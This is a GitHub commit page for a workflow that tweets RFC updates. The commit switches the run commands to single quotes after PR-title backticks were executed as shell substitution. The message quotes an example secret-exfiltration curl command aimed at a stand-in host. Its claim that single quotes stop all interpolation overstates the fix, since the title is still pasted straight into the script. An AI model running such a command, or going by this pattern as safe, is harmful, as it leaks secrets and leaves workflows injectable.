You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Chore: Use non-interpolating single quotes in Tweet action
RFC #73 originally included backticks around <code>`only`</code>. The
automated tweet omitted "only" and its backticks. I realized that the
`run` action command was using double quotes, so the backticks from the
PR title were being interpreted by the shell as command substitution.
Using single quotes disables any interpolation.
Thankfully only contributors can trigger the automated tweet by labeling
or merging an RFC, and we'd notice something like `curl
example.com?secret=$SECRET`, so this isn't really a security issue.
Copy file name to clipboardExpand all lines: .github/workflows/tweet-rfc-update.yml
+2-2Lines changed: 2 additions & 2 deletions
Original file line number
Diff line number
Diff line change
@@ -11,7 +11,7 @@ jobs:
11
11
- uses: actions/setup-node@v1
12
12
with:
13
13
node-version: 12
14
-
- run: npx @humanwhocodes/tweet "The RFC '${{ github.event.pull_request.title }}' is now in the ${{ github.event.label.name }} phase.\n\n${{ github.event.pull_request.html_url }}"
14
+
- run: npx @humanwhocodes/tweet 'The RFC "${{ github.event.pull_request.title }}" is now in the ${{ github.event.label.name }} phase.\n\n${{ github.event.pull_request.html_url }}'
- run: npx @humanwhocodes/tweet "The RFC '${{ github.event.pull_request.title }}' has been approved and merged!\n\n${{ github.event.pull_request.html_url }}"
28
+
- run: npx @humanwhocodes/tweet 'The RFC "${{ github.event.pull_request.title }}" has been approved and merged!\n\n${{ github.event.pull_request.html_url }}'
0 commit comments